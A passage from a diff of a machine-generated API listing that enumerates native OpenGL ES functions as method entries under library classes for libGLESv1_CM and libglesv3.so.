+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexCoordPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScalef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableClientState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glQueryMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glWeightPointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexsOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFenceivNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRotatef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScalex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetShadersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexCoordPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawElementsEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLogicOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffsetxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClientActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtIsProgramBinaryQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPushMatrix" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexSubImageQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRotatex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatusOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoveragex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColorxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSetFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthofOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlStringQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtTexObjectStateOverrideiQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameterivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPopMatrix" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4ub" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparateOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormalPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBGLESV1_CM" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffsetx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFixedvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawArraysEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparateOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFuncxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTestFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBufferPointervQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexsvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDiscardFramebufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadPaletteFromModelViewMatrixOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanexIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFuncx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libglesv3.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFenceSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunci" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageCallbackKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetInteger64v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenProgramPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPushDebugGroup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageControl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectPtrLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDispatchComputeIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribBinding" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMemoryBarrierByRegion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformIndices" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexLevelParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectPtrLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnablei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttachedShaders" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribIFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageInsertKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgramStages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectPtrLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClientWaitSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPopDebugGroup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
